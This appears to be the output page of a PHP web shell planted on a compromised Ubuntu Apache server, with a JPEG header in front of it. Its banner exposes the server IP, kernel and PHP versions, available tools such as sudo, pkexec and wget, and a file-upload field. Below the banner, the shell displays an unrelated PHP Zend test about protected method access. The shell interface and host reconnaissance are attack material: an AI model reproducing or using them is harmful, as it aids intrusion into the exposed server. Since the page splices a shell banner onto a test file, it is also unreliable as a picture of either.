????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.191 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/Zend/tests/ |
Upload File : |
--TEST--
Bug #37632 (Protected method access problem)
--FILE--
<?php
class A1
{
protected function test()
{
echo __METHOD__ . "\n";
}
}
class B1 extends A1
{
public function doTest(A1 $obj)
{
echo __METHOD__ . "\n";
$obj->test();
}
}
class C1 extends A1
{
protected function test()
{
echo __METHOD__ . "\n";
}
}
$b = new B1;
$b->doTest(new C1);
class A2
{
static protected function test()
{
echo __METHOD__ . "\n";
}
}
class B2 extends A2
{
static public function doTest(A2 $obj)
{
echo __METHOD__ . "\n";
$obj->test();
}
}
class C2 extends A2
{
static protected function test()
{
echo __METHOD__ . "\n";
}
}
B2::doTest(new C2);
/* Right now Ctor's cannot be made protected when defined in a ctor. That is
* we cannot decrease visibility.
*
interface Ctor
{
function __construct($x);
}
class A3 implements Ctor
{
protected function __construct()
{
echo __METHOD__ . "\n";
}
}
class B3 extends A3
{
static public function doTest()
{
echo __METHOD__ . "\n";
new C3;
}
}
class C3 extends A3
{
protected function __construct()
{
echo __METHOD__ . "\n";
}
}
B3::doTest();
*/
class A4
{
protected function __construct()
{
echo __METHOD__ . "\n";
}
}
class B4 extends A4
{
static public function doTest()
{
echo __METHOD__ . "\n";
new C4;
}
}
class C4 extends A4
{
protected function __construct()
{
echo __METHOD__ . "\n";
}
}
B4::doTest();
?>
===DONE===
--EXPECTF--
B1::doTest
C1::test
B2::doTest
C2::test
B4::doTest
Fatal error: Call to protected C4::__construct() from context 'B4' in %sbug37632.php on line %d